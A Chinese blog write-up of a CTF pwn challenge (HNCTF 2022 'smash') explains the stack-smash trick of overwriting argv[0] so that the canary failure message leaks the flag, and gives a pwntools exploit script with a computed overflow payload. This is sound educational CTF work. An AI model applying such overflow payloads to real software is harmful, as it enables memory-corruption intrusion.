【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出

部署运行你感兴趣的模型镜像

拿到程序,先查一下保护状态

​编辑

没开pie,接着看主函数代码逻辑

​编辑

看到这里,因为程序开了canary,本程序没有可以泄露canary的方法,所以普通的栈溢出方法肯定打不了,这里可以考虑一下smash stack

Stack smash       

       在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
所以我们只要将argv[0]改成buf地址,就可以将flag的值打印出来,我们可以动调看一下argv[0]的地址,可以使用print &__libc_argv[0]查看

​编辑

再来看一下栈底地址

​编辑

这样就可以算出我们读入数据的地址到argv[0]的偏移

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node5.anna.nssctf.cn",28952)

arg=0x7fffffffe538

flag_addr=0x404060

stack_rbp=0x7fffffffe450

offset=arg-stack_rbp+0x110

payload=b'a'*offset+p64(flag_addr)

io.recvuntil(b"Good Luck.\n")

io.send(payload)

io.interactive()

​编辑

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值